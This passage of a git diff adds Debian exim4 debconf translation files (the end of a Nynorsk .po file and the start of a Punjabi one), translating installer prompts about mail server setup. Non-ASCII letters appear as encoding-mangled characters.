fleire brukarnamn mÃ¥ dei skiljast med mellomrom." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "" +"Kva IP-adresser som skal lyttast etter for innkomande SMTP-tilkoplingar:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Oppgje ei liste over IP-adresser, skilde med semikolon. Exims SMTP-teneste " +"vil lytte pÃ¥ alle IP-adresser som er oppgjeve her." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Viss du lar dette feltet stÃ¥ tomt, vil Exim lytta etter tilkoplingar frÃ¥ " +"alle tilgjengelege nettverksgrensesnitt." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Viss denne maskina berre mottek e-post frÃ¥ lokale tenester (og ikkje frÃ¥ " +"andre vertar), sÃ¥ bør du hindra eksterne tilkoplingar til den lokale Exim-" +"systemet. Slike tenester inkluderer e-postprogram (MUA) som snakkar med den " +"lokale verten og til dømes fetchmail. Eksterne tilkoplingar vert umogeleg " +"viss ein vel Ã¥ setja dette feltet til 127.0.0.1. Exim vil dÃ¥ ikkje lytta pÃ¥ " +"offentlege nettverksgrensesnitt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Hald talet pÃ¥ DNS-spørjingar pÃ¥ eit minimum (oppringt samband)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"I vanleg modus gjer Exim DNS-spørjingar ved oppstart, ved mottak eller " +"levering av meldingar osv. Dette for Ã¥ logga hendingar og halda talet pÃ¥ " +"hardkoda verdiar i oppsettsfila nede." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Viss dette er ein vert utan tilgang til permanent DNS-namnetenar (til dømes " +"eit oppringt samband som koplar til etter behov), vil dette ha uønskte " +"effektar. Oppstart av Exim eller køyring av køa (sjølv med ingen meldingar i " +"køen) kan utløyse ei dyr oppringing av sambandet utan at det reelt er trong " +"for det." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Dette valet bør vere pÃ¥ dersom systemet brukar ei oppringttilkopling ved " +"behov. Viss systemet har kontinuerleg internettilgang, bør dette slÃ¥ast av." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Oppsett av e-posttenar" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Del opp oppsettsfilene i smÃ¥ filer?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 pakkane kan anten bruka «samla oppsett» ei stor oppsettsfil (/" +"etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der rundt 50 smÃ¥ " +"filer i /etc/exim4/conf.d/ vert brukt for Ã¥ generera oppsettet." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Samla oppsett passar betre for store endringar og er generelt meir stabilt, " +"medan oppdelt oppsett tilbyr ein enkel mÃ¥te Ã¥ gjera smÃ¥ endringar, men er " +"meir sÃ¥rbart og kan lett bli øydelagt viss det vert endra mykje pÃ¥." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Oppdelt og samla oppsett vert drøfta meir inngÃ¥ande i dei debianspesifikke " +"README-filene i /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Gøym lokalt e-postnamn i utgÃ¥ande e-post?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"E-posthovuda i utgÃ¥ande e-post kan omskrivast slik at det ser ut til at e-" +"posten er laga pÃ¥ eit anna system. Viss dette er valt vil «${mailname}», " +"«localhost» og «${dc_other_hostnames}» i FrÃ¥, Svar-til, Sendar og Retur-Stig " +"bli omskrive." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox format i /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-format i heimekatalogen" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Leveringsmetode for lokal e-post:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kan lagre e-post levert lokalt i forskjellige format. Dei mest brukte " +"er mbox og Maildir. mbox brukar ei fil for heile e-postmappa lagra i /var/" +"mail/. Med Maildir-format vert kvar melding ei eiga fil i ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Merk at dei fleste e-postverktøya i Debian forventar i standardoppsetta sine " +"at lokal leveringsmÃ¥te er mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Flytt ulevert e-post frÃ¥ exim 3 til exim4 køen?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Det finst ulevert e-post i exim 3 (eller exim-tls 3) kømappa /var/spool/" +#~ "exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Med dette valet pÃ¥ vil desse meldingane bli flytta til exim4 si kømappe (/" +#~ "var/spool/exim4/input/) der dei vil bli handtert av exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Dette fungerer berre ein veg: Exim4 kan handtere exim 3-kø, men ikkje " +#~ "andre vegen. Viss du seier nei no, mÃ¥ du flytte medlingane manuelt sjølv " +#~ "seinare. Elles vil dei aldri bli levert." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Viss denne lista er tom vil Exim ikkje levere lokal e-post." diff --git a/debian/po/pa.po b/debian/po/pa.po new file mode 100644 index 0000000..2234871 --- /dev/null +++ b/debian/po/pa.po @@ -0,0 +1,609 @@ +# translation of pa.po_[m1QbWa].po to Punjabi +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Amanpreet Singh Alam[ਆਲਮ] <amanpreetalam@yahoo.com>, 2005. +# A S Alam <apbrar@gmail.com>, 2006. +# A S Alam <aalam@users.sf.net>, 2007. +msgid "" +msgstr "" +"Project-Id-Version: pa.po_[m1QbWa]\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-18 08:59+0530\n" +"Last-Translator: A S Alam <aalam@users.sf.net>\n" +"Language-Team: Punjabi <punjabi-l10n@lists.sf.net>\n" +"Language: pa\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "ਕੀ spool ਡਾਇਰੈਕਟਰੀ ਵਿੱਚੋਂ ਨਾ-à¨à©‡à¨œà©‡ ਪੱਤਰ ਹਟਾਉਣੇ ਹਨ?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Exim ਸਪੂਲ ਡਾਇਰੈਕਟਰੀ /var/spool/exim4/input ਵਿੱਚ ਪੱਤਰ ਹਨ, ਜੋ ਕਿ ਅਜੇ ਤੱਕ à¨à©‡à¨œà©‡ ਨਹੀਂ ਗਠ" +"ਹਨ। Exim ਨੂੰ ਹਟਾਉਣ ਨਾਲ ਉਹ ਬਿਨ-à¨à©‡à¨œà©‡ ਹੀ ਪਠਰਹਿਣਗੇ, ਜਦੋਂ ਤੱਕ ਕਿ Exim ਨੂੰ ਮà©à©œ ਇੰਸਟਾਲ ਨਹੀਂ " +"ਕੀਤਾ ਜਾਂਦਾ ਹੈ।" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ਜੇ ਇਹ ਚੋਣ ਨਾ ਕੀਤੀ ਗਈ ਤਾਂ, spool ਡਾਇਰੈਕਟਰੀ ਰੱਖੀ ਜਾਵੇਗੀ, Exim ਦੇ ਮà©à©œ-ਇੰਸਟਾਲ ਹੋਣ ਬਾਅਦ ਕਿਸੇ " +"ਵੀ ਮਿਤੀ ਵਿੱਚ ਪੱਤਰ à¨à©‡à¨œà¨£ ਲਈ ਕਤਾਰ 'ਚ ਸà©à¨¨à©‡à¨¹à©‡ ਰੱਖੇ ਜਾਣਗੇ।" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ਇਹ ਪੈਕੇਜ ਦੀ ਬਜਾਠexim4-config ਮà©à©œ-ਸੰਰਚਨਾ" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 ਦੀ ਸੰਰਚਨਾ ਨੂੰ ਇੱਕ ਸਮਰਪਿਤ ਪੈਕੇਜ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ, exim4-config। ਜੇ ਤà©à¨¸à©€à¨‚ Exim4 ਦੀ " +"ਮà©à©œ ਸੰਰਚਨਾ ਕਰਨੀ ਚਾਹà©à©°à¨¦à©‡ ਹੋ ਤਾਂ 'dpkg-reconfigure exim4-config' ਵਰਤੋਂ।" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "ਇੰਟਰਨੈੱਟ ਸਾਇਟ; ਪੱਤਰ SMTP ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸਿੱਧ à¨à©‡à¨œà©‡ ਅਤੇ ਪà©à¨°à¨¾à¨ªà¨¤ ਕੀਤੇ ਜਾਣਗੇ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "ਮੇਲ ਨੂੰ smarthost ਰਾਹੀਂ à¨à©‡à¨œà¨¿à¨†; ਪà©à¨°à¨¾à¨ªà¨¤ SMTP ਜਾਂ fetchamail ਰਾਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "smarthost ਰਾਹੀਂ ਪੱਤਰ à¨à©‡à¨œà¨¿à¨†; ਕੋਈ ਲੋਕਲ ਮੇਲ ਨਹੀਂ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "ਸਿਰਫ਼ ਲੋਕਲ ਡਿਲਵਰੀ; ਨੈੱਟਵਰਕ ਨਹੀਂ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ਇਸ ਸਮੇਂ ਕੋਈ ਸੰਰਚਨਾ ਨਹੀਂ" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "ਪੱਤਰ ਸੰਰਚਨਾ ਲਈ ਸਧਾਰਨ ਕਿਸਮ" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "ਮੇਲ ਸਰਵਰ ਕਿਸਮ ਦੀ ਚੋਣ ਕਰੋ; ਜੋ ਤà©à¨¹à¨¾à¨¡à©€ ਲੋੜ ਮà©à¨¤à¨¾à¨¬à¨• ਹੈ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ਸਫ਼ਰੀ IP ਸਿਰਨਾਵਿਆਂ ਵਾਲੇ ਸਿਸਟਮਾਂ, ਜਿੰਨਾਂ ਵਿੱਚ ਡਾਇਲਅੱਪ ਸਿਸਟਮ ਹਨ, ਨੂੰ ਇੱਕ ਸਿਸਟਮ ਤੋਂ ਦੂਜੇ ਸਿਸਟਮ " +"ਤੱਕ ਪੱਤਰ à¨à©‡à¨œà¨£ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਜਿਸ ਨੂੰ ਡਿਲਵਰੀ ਲਈ 'smart host)' ਕਹਿੰਦੇ ਹਨ, ਕਿਉਂਕਿ ਸਪਮ " +"ਸà©à¨°à©±à¨–ਿਆ ਲਲਈ ਡੈਨਮਿਕ IP ਸਿਰਨਾਵਾਂ ਤੋਂ ਆਉਣ ਵਾਲੇ ਪੱਤਰਾਂ ਨੂੰ ਲੈਣ ਵਾਲੇ ਕਈ ਸਿਸਟਮ ਇੰਟਰਨੈੱਟ ਉੱਤੇ ਪਾਬੰਦੀ " +"ਅਧੀਨ ਆ ਜਾਂਦੇ ਹਨ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ਇੱਕ ਡਾਇਅਨਾਮਿਕ IP ਸਿਰਨਾਂ ਵਾਲਾ ਇੱਕ ਸਿਸਟਮ ਆਪਣੇ ਮੇਲ ਜਾਂ ਲੋਕਲ ਡਿਲਵਰੀ ਹੀ ਲੈ ਸਕਦਾ ਹੈ, ਨੂੰ ਪੂਰੀ " +"ਤਰਾਂ ਆਯੋਗ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ (root ਅਤੇ ਪੋਸਟ ਮਾਸਟਰ ਦੇ ਪੱਤਰਾਂ ਬਿਨਾਂ)।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ਕੀ ਮੇਲ ਸਿਸਟਮ ਅਣ-ਸੰਰਚਿਤ ਹੀ ਰੱਖਣਾ ਹੈ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ਜਦੋਂ ਤੱਕ ਤà©à¨¹à¨¾à¨¡à¨¾ ਮੇਲ ਸਿਸਟਮ ਸੰਰਚਿਤ ਨਹੀਂ ਹà©à©°à¨¦à¨¾ ਹੈ, ਇਹ ਬੇਕਾਰ ਹੀ ਰਹੇਗਾ ਅਤੇ ਵਰਤਿਆ ਨਹੀਂ ਜਾ ਸਕੇਗਾ। " +"ਤà©à¨¸à©€à¨‚ ਸੰਰਚਨਾ ਨੂੰ ਬਾਅਦ ਵਿੱਚ ਦਸਤੀ ਜਾਂ root ਦੇ ਤੌਰ ਉੱਤੇ 'dpkg-reconfigure exim4-config'ਲਾ " +"ਕੇ ਸੰਰਚਿਤ ਕਰ ਸਕਦੇ ਹੋ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "ਸਿਸਟਮ ਮੇਲ ਨਾਂ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'mail name' ਡੋਮੇਨ ਨਾਂ ਹà©à©°à¨¦à¨¾ ਹੈ, ਜੋ ਕਿ ਡੋਮੇਨ ਨਾਂ ਦੇ ਬਿਨਾਂ ਪੱਤਰ ਸਿਰਨਾਵੇਂ ਲਈ 'qualify' ਵਾਸਤੇ " +"ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"ਇਹ ਨਾਂ ਹੋਰ ਪਰੋਗਰਾਮਾਂ ਵਲੋਂ ਵੀ ਵਰਤਿਆ ਜਾਵੇਗਾ, ਇਹ ਇੱਕਲਾ, ਪੂਰਾ ਡੋਮੇਨ ਨਾਂ (FQDN) ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "ਇਸਕਰਕੇ ਜੇ ਲੋਕਲ ਹੋਸਟ foo@domain.example ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਲਈ ਸਹੀਂ ਮà©à©±à¨² example ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"ਇਹ ਨਾਂ ਬਾਹਰ à¨à©‡à¨œà¨£ ਜਾਣ ਵਾਲੇ ਪੱਤਰਾਂ ਵਿੱਚ ਵਲੋਂ: ਖੇਤਰ 'ਚ ਨਹੀਂ ਵੇਖਾਈ ਦੇਵੇਗਾ, ਜਦੋਂ ਤੱਕ ਤà©à¨¸à©€à¨‚ ਮà©à©œ-ਲਿਖਣ " +"ਨੂੰ ਯੋਗ ਕੀਤਾ ਤਾਂ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ਹੋਰ ਟਿਕਾਣੇ, ਜਿਨà©à¨¹à¨¾à¨‚ ਲਈ ਪੱਤਰ ਸਵੀਕਾਰ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ਕਿਰਪਾ ਕਰਕੇ ਡੋਮੇਨਾਂ ਦੀ ਸੂਚੀ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਮਸ਼ੀਨ ਖà©à¨¦ ਨੂੰ ਅੰਤਮ ਟਿਕਾਣਾ " +"ਚà©à¨£à©‡à¥¤ ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਨੂੰ 'local domains' ਕਹਿੰਦੇ ਹਨ।ਲੋਕਲ ਹੋਸਟ ਨਾਂ (${fqdn}) ਅਤੇ 'localhost' " +"ਇੱਥੇ ਦਿੱਤੀ ਲਿਸਟ ਵਿੱਚ ਹਮੇਸ਼ਾਂ ਜੋੜੇ ਜਾਂਦੇ ਹਨ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਠਡੋਮੇਨਾਂ ਨੂੰ ਇੱਕ ਵਾਂਗ ਹੀ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ। ਜੇ a.example ਅਤੇ b.example ਲੋਕਕਲ " +"ਡੋਮੇਨਾਂ ਹਨ ਤਾਂ acc@a.example and acc@b.example ਨੂੰ ਇੱਕੋ ਥਾਂ à¨à©‡à¨œà¨¿à¨† ਜਾਵੇਗਾ। ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਵੱਖਰੀਆਂ " +"ਡੋਮੇਨਾਂ ਨੂੰ ਵੱਖਰੇ ਢੰਗ ਨਾਲ ਮੰਨਣਾ ਚਾਹà©à©°à¨¦à©‡ ਹੋ ਤਾਂ ਤà©à¨¸à©€à¨‚ ਬਾਅਦ ਵਿੱਚ ਸੰਰਚਨਾ ਫਾਇਲਾਂ ਵਿੱਚ ਸੋਧ ਸਕਦੇ ਹੋ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਕਰਨ ਲਈ ਡੋਮੇਨ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"ਪà©à¨°à¨¾à¨ªà¨¤à©€ ਡੋਮੇਨਾਂ ਦੀ ਅਰਧ-ਵਿਰਾਮ ਨਾਲ ਵੱਖ ਕੀਤੀ ਸੂਚੀ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਮੇਲ ਰੀਲੇਅ ਕਰੇਗਾ, " +"ਜਿਵੇਂ ਕਿ ਫਾਲਬੈਕ MX ਜਾਂ ਮੇਲ ਗੇਟਵੇ। ਇਸ ਦਾ ਮਤਲਬ ਹੈ ਕਿ ਇਹ ਸਿਸਟਮ ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਲਈ ਇੰਟਰਨੈੱਟ ਤੋਂ ਕਿਤੋਂ " +"ਵੀ ਮੇਲ ਲਵੇਗਾ ਅਤੇ ਲੋਕਲ ਡਿਲਵਰੀ ਨਿਯਮਾਂ ਮà©à¨¤à¨¾à¨¬à¨• ਡਿਲਵਰ ਕਰੇਗਾ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "ਲੋਕਲ ਡੋਮੇਨ ਇੱਥੇ ਨਾ ਦਿਓ, ਵਾਲਿਡ ਕਾਰਡ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਲਈ ਮਸ਼ੀਨਾਂ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"IP ਸਿਰਨਾਵਿਆਂ ਦੀ ਸੀਮਾ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਸਿਸਟਮ ਬਿਨ-ਸ਼ਰਤ ਰੀਲੇਅ ਮੇਲ " +"(smarthost ਵਾਂਗ) ਕੰਮ ਕਰੇਗਾ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"ਜੇਕਰ ਕੋਈ ਵੀ ਹੈ ਤਾਂ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਇੱਥੇ ਦਿਓ। ਤà©à¨¹à¨¾à¨¨à©‚à©° ਇੱਕ ਮਿਆਰੀ ਸਿਰਨਾਵਾਂ/ਲੰਬਾਈ ਫਾਰਮੈਟ " +"ਵਰਤਣਾ ਪਵੇਗਾ (ਜਿਵੇਂ ਕਿ 192.222.242.0/24 ਜਾਂ 5f03:1200:836f::/48)।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "ਜੇ ਇਹ ਸਿਸਟਮ ਕਿਸੇ ਹੋਰ ਸਿਸਟਮ ਲਈ smarthost ਨਹੀਂ ਹੋਵੇਗਾ ਤਾਂ ਇਹ ਸੂਚੀ ਖਾਲੀ ਰਹਿਣ ਦਿਓ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "ਲੋਕਲ ਉਪà¨à©‹à¨—ੀਆਂ ਲਈ ਉਪਲੱਬਧ ਡੋਮੇਨ ਨਾਂ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"ਬਾਹਰੀ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਕਰਨ ਲਈ ਚੋਣ ਯੋਗ ਹੈ। ਇਸ ਕਰਕੇ ਇਹ ਵਲੋਂ ਲੋਕਲ ਯੂਜ਼ਰ ਦੇ à¨à©‡à¨œà¨£ ਵਾਲੇ " +"ਸਿਰਨਾਵੇਂ ਦੇ ਡੋਮੇਨ à¨à¨¾à¨— ਵਜੋਂ ਵਰਤਣ ਲਈ ਡੋਮੇਨ ਨਾਂ ਦੇਣਾ ਲਾਜ਼ਮੀ ਹੈ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "ਬਾਹਰੀ smarthost ਦਾ IP ਸਿਰਨਾਵਾਂ ਜਾਂ ਹੋਸਟ ਨਾਂ ਦਿਓ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ਮੇਲ ਸਰਵਰ ਲਈ IP ਸਿਰਨਾਵਾਂ ਦਿਓ ਜਾਂ 